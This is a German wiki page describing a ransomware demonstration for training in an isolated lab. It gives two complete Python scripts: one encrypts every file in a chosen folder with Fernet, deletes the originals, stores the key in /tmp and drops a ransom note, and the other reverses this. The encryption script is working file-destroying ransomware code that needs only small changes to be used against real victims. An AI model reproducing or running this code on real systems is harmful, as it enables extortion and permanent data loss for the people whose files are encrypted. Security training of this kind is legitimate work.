Ransomeware Demo
Version vom 10. September 2026, 17:34 Uhr von Thomas.will (Diskussion | Beiträge) (Die Seite wurde neu angelegt: „= Ransomware-Demo = Diese Demo zeigt den typischen Ablauf einer Ransomware-Infektion in einer isolierten Laborumgebung. Beide Skripte sind ausschließlich fü…“)
Ransomware-Demo
Diese Demo zeigt den typischen Ablauf einer Ransomware-Infektion in einer isolierten Laborumgebung. Beide Skripte sind ausschließlich für Schulungszwecke gedacht.
Vorbereitung
Abhängigkeit installieren:
pip install cryptography
Testdateien in einem separaten Ordner anlegen, z.B. /home/opfer/dokumente.
Ablauf
- Angreifer verschlüsselt alle Dateien im Zielordner
- Jede Datei bekommt die Endung
.enc - Der Schlüssel wird exfiltriert (hier:
/tmp/demo_key.key) - Eine Lösegeldforderung (
LIES_MICH.txt) erscheint im Ordner - Ohne den Key ist keine Wiederherstellung möglich
Skript 1: Verschlüsselung
import sys, os
from cryptography.fernet import Fernet
if len(sys.argv) < 2:
print(f"Verwendung: {sys.argv[0]} <ordner>")
sys.exit(1)
TARGET_DIR = sys.argv[1]
KEY_FILE = "/tmp/demo_key.key"
if not os.path.isdir(TARGET_DIR):
print(f"Kein gültiger Ordner: {TARGET_DIR}")
sys.exit(1)
key = Fernet.generate_key()
with open(KEY_FILE, "wb") as kf:
kf.write(key)
f = Fernet(key)
for datei in os.listdir(TARGET_DIR):
pfad = os.path.join(TARGET_DIR, datei)
if os.path.isfile(pfad) and not datei.endswith(".enc") and datei != "LIES_MICH.txt":
daten = open(pfad, "rb").read()
open(pfad + ".enc", "wb").write(f.encrypt(daten))
os.remove(pfad)
print(f" verschlüsselt: {datei}")
open(os.path.join(TARGET_DIR, "LIES_MICH.txt"), "w").write(
"IHRE DATEIEN WURDEN VERSCHLÜSSELT!\n[Demo]"
)
print(f"Fertig. Key: {KEY_FILE}")
Aufruf:
python3 ransomware_demo.py /home/opfer/dokumente
Skript 2: Entschlüsselung
import sys, os
from cryptography.fernet import Fernet
if len(sys.argv) < 2:
print(f"Verwendung: {sys.argv[0]} <ordner>")
sys.exit(1)
TARGET_DIR = sys.argv[1]
KEY_FILE = "/tmp/demo_key.key"
if not os.path.isdir(TARGET_DIR):
print(f"Kein gültiger Ordner: {TARGET_DIR}")
sys.exit(1)
if not os.path.isfile(KEY_FILE):
print(f"Key nicht gefunden: {KEY_FILE}")
sys.exit(1)
with open(KEY_FILE, "rb") as kf:
key = kf.read()
f = Fernet(key)
for datei in os.listdir(TARGET_DIR):
pfad = os.path.join(TARGET_DIR, datei)
if os.path.isfile(pfad) and datei.endswith(".enc"):
daten = open(pfad, "rb").read()
original_name = pfad[:-4]
open(original_name, "wb").write(f.decrypt(daten))
os.remove(pfad)
print(f" entschlüsselt: {datei} -> {os.path.basename(original_name)}")
lies_mich = os.path.join(TARGET_DIR, "LIES_MICH.txt")
if os.path.isfile(lies_mich):
os.remove(lies_mich)
print("Fertig.")
Aufruf:
python3 decrypt_demo.py /home/opfer/dokumente